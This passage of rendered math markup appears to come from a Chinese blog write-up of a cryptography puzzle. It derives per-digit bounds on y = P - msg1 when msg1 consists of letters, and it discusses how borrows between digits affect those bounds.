mathvariant="normal">.</mi><mi mathvariant="normal">.</mi><mi mathvariant="normal">.</mi><msub><mi>P</mi><mn>384</mn></msub><mspace linebreak="newline"></mspace><mtext>则此时有</mtext><msub><mi>m</mi><mi>i</mi></msub><mo>∈</mo><mo stretchy="false">{</mo><mi>o</mi><mi>r</mi><mi>d</mi><msup><mo stretchy="false">(</mo><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msup><msup><mi>A</mi><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msup><mo stretchy="false">)</mo><mi mathvariant="normal">.</mi><mi mathvariant="normal">.</mi><mi mathvariant="normal">.</mi><mi>o</mi><mi>r</mi><mi>d</mi><msup><mo stretchy="false">(</mo><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msup><msup><mi>Z</mi><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msup><mo stretchy="false">)</mo><mo separator="true">,</mo><mi>o</mi><mi>r</mi><mi>d</mi><msup><mo stretchy="false">(</mo><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msup><msup><mi>a</mi><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msup><mo stretchy="false">)</mo><mi mathvariant="normal">.</mi><mi mathvariant="normal">.</mi><mi mathvariant="normal">.</mi><mi>o</mi><mi>r</mi><mi>d</mi><msup><mo stretchy="false">(</mo><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msup><msup><mi>z</mi><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msup><mo stretchy="false">)</mo><mo stretchy="false">}</mo><mspace linebreak="newline"></mspace><mtext>那么此时</mtext><mi>y</mi><mo>=</mo><mi>P</mi><mo>−</mo><mi>m</mi><mi>s</mi><mi>g</mi><mn>1</mn><mo>⇒</mo><msub><mi>y</mi><mi>i</mi></msub><mo>∈</mo><mo stretchy="false">{</mo><msub><mi>P</mi><mi>i</mi></msub><mo>−</mo><mi>o</mi><mi>r</mi><mi>d</mi><msup><mo stretchy="false">(</mo><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msup><msup><mi>A</mi><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msup><mo stretchy="false">)</mo><mi mathvariant="normal">.</mi><mi mathvariant="normal">.</mi><mi mathvariant="normal">.</mi><msub><mi>P</mi><mi>i</mi></msub><mo>−</mo><mi>o</mi><mi>r</mi><mi>d</mi><msup><mo stretchy="false">(</mo><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msup><msup><mi>Z</mi><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msup><mo stretchy="false">)</mo><mo separator="true">,</mo><msub><mi>P</mi><mi>i</mi></msub><mo>−</mo><mi>o</mi><mi>r</mi><mi>d</mi><msup><mo stretchy="false">(</mo><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msup><msup><mi>a</mi><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msup><mo stretchy="false">)</mo><mo>−</mo><msub><mi>P</mi><mi>i</mi></msub><mo>−</mo><mi>o</mi><mi>r</mi><mi>d</mi><msup><mo stretchy="false">(</mo><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msup><msup><mi>z</mi><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msup><mo stretchy="false">)</mo><mo stretchy="false">}</mo></mrow><annotation encoding="application/x-tex">\text{这里假设} msg1=m_0m_1m_2...m_{384}, y=y_0y_1...y_{384} P=P_0P_1...P_{384} \\\text{则此时有} m_i \in \{ord(&#x27;A&#x27;)...ord(&#x27;Z&#x27;), ord(&#x27;a&#x27;)...ord(&#x27;z&#x27;)\}    \\\text{那么此时}y = P-msg1 \Rightarrow y_i \in \{P_i-ord(&#x27;A&#x27;)...P_i-ord(&#x27;Z&#x27;), P_i-ord(&#x27;a&#x27;)-P_i-ord(&#x27;z&#x27;)\} </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8777699999999999em;vertical-align:-0.19444em;"></span><span class="mord text"><span class="mord cjk_fallback">这里假设</span></span><span class="mord mathdefault">m</span><span class="mord mathdefault">s</span><span class="mord mathdefault" style="margin-right:0.03588em;">g</span><span class="mord">1</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.19444em;"></span><span class="mord"><span class="mord mathdefault">m</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathdefault">m</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathdefault">m</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord">.</span><span class="mord">.</span><span class="mord">.</span><span class="mord"><span class="mord mathdefault">m</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">3</span><span class="mord mtight">8</span><span class="mord mtight">4</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord mathdefault" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.8777699999999999em;vertical-align:-0.19444em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.03588em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.03588em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord">.</span><span class="mord">.</span><span class="mord">.</span><span class="mord"><span class="mord mathdefault" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.03588em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">3</span><span class="mord mtight">8</span><span class="mord mtight">4</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord mathdefault" style="margin-right:0.13889em;">P</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.83333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.13889em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.13889em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord">.</span><span class="mord">.</span><span class="mord">.</span><span class="mord"><span class="mord mathdefault" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.13889em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">3</span><span class="mord mtight">8</span><span class="mord mtight">4</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span><span class="mspace newline"></span><span class="base"><span class="strut" style="height:0.83333em;vertical-align:-0.15em;"></span><span class="mord text"><span class="mord cjk_fallback">则此时有</span></span><span class="mord"><span class="mord mathdefault">m</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.31166399999999994em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1.051892em;vertical-align:-0.25em;"></span><span class="mopen">{</span><span class="mord mathdefault">o</span><span class="mord mathdefault" style="margin-right:0.02778em;">r</span><span class="mord mathdefault">d</span><span class="mopen"><span class="mopen">(</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.801892em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span><span class="mord"><span class="mord mathdefault">A</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.801892em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span><span class="mclose">)</span><span class="mord">.</span><span class="mord">.</span><span class="mord">.</span><span class="mord mathdefault">o</span><span class="mord mathdefault" style="margin-right:0.02778em;">r</span><span class="mord mathdefault">d</span><span class="mopen"><span class="mopen">(</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.801892em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.07153em;">Z</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.801892em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span><span class="mclose">)</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord mathdefault">o</span><span class="mord mathdefault" style="margin-right:0.02778em;">r</span><span class="mord mathdefault">d</span><span class="mopen"><span class="mopen">(</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.801892em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span><span class="mord"><span class="mord mathdefault">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.801892em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span><span class="mclose">)</span><span class="mord">.</span><span class="mord">.</span><span class="mord">.</span><span class="mord mathdefault">o</span><span class="mord mathdefault" style="margin-right:0.02778em;">r</span><span class="mord mathdefault">d</span><span class="mopen"><span class="mopen">(</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.801892em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.04398em;">z</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.801892em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span><span class="mclose">)</span><span class="mclose">}</span></span><span class="mspace newline"></span><span class="base"><span class="strut" style="height:0.8777699999999999em;vertical-align:-0.19444em;"></span><span class="mord text"><span class="mord cjk_fallback">那么此时</span></span><span class="mord mathdefault" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.76666em;vertical-align:-0.08333em;"></span><span class="mord mathdefault" style="margin-right:0.13889em;">P</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.8388800000000001em;vertical-align:-0.19444em;"></span><span class="mord mathdefault">m</span><span class="mord mathdefault">s</span><span class="mord mathdefault" style="margin-right:0.03588em;">g</span><span class="mord">1</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">⇒</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.7335400000000001em;vertical-align:-0.19444em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.31166399999999994em;"><span style="top:-2.5500000000000003em;margin-left:-0.03588em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">{</span><span class="mord"><span class="mord mathdefault" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.31166399999999994em;"><span style="top:-2.5500000000000003em;margin-left:-0.13889em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:1.051892em;vertical-align:-0.25em;"></span><span class="mord mathdefault">o</span><span class="mord mathdefault" style="margin-right:0.02778em;">r</span><span class="mord mathdefault">d</span><span class="mopen"><span class="mopen">(</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.801892em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span><span class="mord"><span class="mord mathdefault">A</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.801892em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span><span class="mclose">)</span><span class="mord">.</span><span class="mord">.</span><span class="mord">.</span><span class="mord"><span class="mord mathdefault" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.31166399999999994em;"><span style="top:-2.5500000000000003em;margin-left:-0.13889em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:1.051892em;vertical-align:-0.25em;"></span><span class="mord mathdefault">o</span><span class="mord mathdefault" style="margin-right:0.02778em;">r</span><span class="mord mathdefault">d</span><span class="mopen"><span class="mopen">(</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.801892em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.07153em;">Z</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.801892em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span><span class="mclose">)</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.31166399999999994em;"><span style="top:-2.5500000000000003em;margin-left:-0.13889em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:1.051892em;vertical-align:-0.25em;"></span><span class="mord mathdefault">o</span><span class="mord mathdefault" style="margin-right:0.02778em;">r</span><span class="mord mathdefault">d</span><span class="mopen"><span class="mopen">(</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.801892em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span><span class="mord"><span class="mord mathdefault">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.801892em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.83333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.31166399999999994em;"><span style="top:-2.5500000000000003em;margin-left:-0.13889em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:1.051892em;vertical-align:-0.25em;"></span><span class="mord mathdefault">o</span><span class="mord mathdefault" style="margin-right:0.02778em;">r</span><span class="mord mathdefault">d</span><span class="mopen"><span class="mopen">(</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.801892em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.04398em;">z</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.801892em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span><span class="mclose">)</span><span class="mclose">}</span></span></span></span></span></p><p>那么我们取多次P，就能够将y缩小到一个比较小的范围里面。不过这里取值的时候，<strong>需要考虑到借位的问题</strong>:</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mtext>假设第i-1个值</mtext><mo>:</mo><msub><mi>P</mi><mrow><mi>i</mi><mo>−</mo><mn>1</mn></mrow></msub><mo>≤</mo><mi>o</mi><mi>r</mi><mi>d</mi><msup><mo stretchy="false">(</mo><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msup><msup><mi>A</mi><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msup><mo stretchy="false">)</mo><mspace linebreak="newline"></mspace><mtext>则此时第i个数字必然发生借位，于是有</mtext><mspace linebreak="newline"></mspace><msub><mi>P</mi><mi>i</mi></msub><mo>−</mo><mi>o</mi><mi>r</mi><mi>d</mi><msup><mo stretchy="false">(</mo><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msup><msup><mi>z</mi><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msup><mo stretchy="false">)</mo><mo>−</mo><mn>1</mn><mo>≤</mo><msub><mi>y</mi><mi>i</mi></msub><mo>≤</mo><msub><mi>P</mi><mi>i</mi></msub><mo>−</mo><mi>o</mi><mi>r</mi><mi>d</mi><msup><mo stretchy="false">(</mo><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msup><msup><mi>A</mi><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msup><mo stretchy="false">)</mo><mo>−</mo><mn>1</mn><mspace linebreak="newline"></mspace><mtext>假设第i-1个值</mtext><mo>:</mo><msub><mi>P</mi><mrow><mi>i</mi><mo>−</mo><mn>1</mn></mrow></msub><mo>≤</mo><mi>o</mi><mi>r</mi><mi>d</mi><msup><mo stretchy="false">(</mo><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msup><msup><mi>z</mi><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msup><mo stretchy="false">)</mo><mtext>，此时下下标为i-1</mtext><mspace linebreak="newline"></mspace><mtext>则此时第i个数字的取值中的左边可能发生借位，也就是</mtext><mspace linebreak="newline"></mspace><msub><mi>P</mi><mi>i</mi></msub><mo>−</mo><mi>o</mi><mi>r</mi><mi>d</mi><msup><mo stretchy="false">(</mo><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msup><msup><mi>z</mi><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msup><mo stretchy="false">)</mo><mo>−</mo><mn>1</mn><mo>≤</mo><msub><mi>y</mi><mi>i</mi></msub><mo>≤</mo><msub><mi>P</mi><mi>i</mi></msub><mo>−</mo><mi>o</mi><mi>r</mi><mi>d</mi><msup><mo stretchy="false">(</mo><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msup><msup><mi>A</mi><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msup><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\text{假设第i-1个值}: P_{i-1} \leq ord(&#x27;A&#x27;) \\\text{则此时第i个数字必然发生借位，于是有} \\ P_i-ord(&#x27;z&#x27;)-1 \leq y_i \leq P_i-ord(&#x27;A&#x27;)-1 \\\text{假设第i-1个值}: P_{i-1} \leq ord(&#x27;z&#x27;)，\text{此时下下标为i-1}\\\text{则此时第i个数字的取值中的左边可能发生借位}，\text{也就是}\\P_i-ord(&#x27;z&#x27;)-1 \leq y_i \leq P_i-ord(&#x27;A&#x27;)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.68333em;vertical-align:0em;"></span><span class="mord text"><span class="mord cjk_fallback">假设第</span><span class="mord">i-1</span><span class="mord cjk_fallback">个值</span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">:</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.891661em;vertical-align:-0.208331em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.311664em;"><span style="top:-2.5500000000000003em;margin-left:-0.13889em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathdefault mtight">i</span><span class="mbin mtight">−</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.208331em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1.051892em;vertical-align:-0.25em;"></span><span class="mord mathdefault">o</span><span class="mord mathdefault" style="margin-right:0.02778em;">r</span><span class="mord mathdefault">d</span><span class="mopen"><span class="mopen">(</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.801892em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span><span class="mord"><span class="mord mathdefault">A</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.801892em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span><span class="mclose">)</span></span><span class="mspace newline"></span><span class="base"><span class="strut" style="height:0.68333em;vertical-align:0em;"></span><span class="mord text"><span class="mord cjk_fallback">则此时第</span><span class="mord">i</span><span class="mord cjk_fallback">个数字必然发生借位，于是有</span></span></span><span class="mspace newline"></span><span class="base"><span class="strut" style="height:0.83333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.31166399999999994em;"><span style="top:-2.5500000000000003em;margin-left:-0.13889em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" 